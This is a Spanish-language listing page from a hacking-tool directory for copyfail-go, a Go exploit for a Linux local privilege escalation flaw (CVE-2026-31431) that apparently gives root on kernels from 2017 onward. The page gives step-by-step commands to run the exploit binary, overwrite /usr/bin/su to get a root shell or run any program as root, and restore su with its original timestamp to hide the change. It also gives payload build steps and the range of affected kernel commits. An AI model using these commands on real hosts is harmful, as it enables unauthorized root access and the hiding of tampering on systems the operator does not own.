Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
copyfail-go — Una implementación en Go de copyfail (CVE-2026-31431) | Kitploit
Herramientas/GitHubGitHub/badsectorlabs/copyfail-go
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónDesarrollo de PayloadsExplotación de Binarios
GitHubbadsectorlabs/copyfail-go

copyfail-go

Una implementación en Go de copyfail (CVE-2026-31431)

Ver Repositorio
36178hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CopyFail Go

La mayoría de los LPE de Linux necesitan una ventana de carrera o un offset específico del kernel. Copy Fail es una falla lógica en línea recta: no necesita ninguna de las dos. El mismo script de Python de 732 bytes binario estático de Go obtiene privilegios root en todas las distribuciones de Linux publicadas desde 2017.

Una implementación en Go de CVE-2026-31431. Por si necesitas un binario estático y sin dependencia de Python.

Consulta copy.fail para más información.

Shell interactivo

root@kitploit:~
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su    # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)

Ejecutar el binario como root

Útil para elevar un programa a root

root@kitploit:~
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su

¿No confías en esos blobs hexadecimales?

Compila los payloads tú mismo con payloads/build-n-print.sh en un host Debian (probado con Debian 13).

Necesitarás apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf y luego ejecutar el script desde el directorio de payloads. Compilará cada payload y generará las cadenas hexadecimales comprimidas con zlib. Compáralas con las que están en main.go (o reemplázalas con las tuyas) y compila los binarios copyfile-go con goreleaser build --snapshot --clean desde el directorio principal del proyecto.

Kernels afectados (de copy-fail-c)

root@kitploit:~
floor:    torvalds/linux 72548b093ee3   August 2017, v4.14
                                        (AF_ALG iov_iter rework that
                                         introduced the file-page write
                                         primitive via splice into the AEAD
                                         scatterlist)

ceiling:  torvalds/linux a664bf3d603d   April 2026, mainline
                                        (reverts the 2017 algif_aead
                                         in-place optimization; separates
                                         source and destination scatterlists
                                         so page-cache pages can no longer
                                         be a writable crypto destination)

En el medio: todos los kernels de las principales distribuciones que no aplicaron el backport del fix. Se confirmó que Ubuntu, RHEL, SUSE, Amazon Linux y Debian eran vulnerables en sus kernels de imágenes de nube estándar en el momento de la divulgación. Los backports a nivel de distribución comenzaron a implementarse alrededor del 2026-04-29 junto con la divulgación pública. Para verificar si un kernel objetivo está dentro de la ventana, comprueba si a664bf3d603d (o su backport específico de la distribución) está presente en el git log del kernel o en el changelog de la distribución.

Descargar herramienta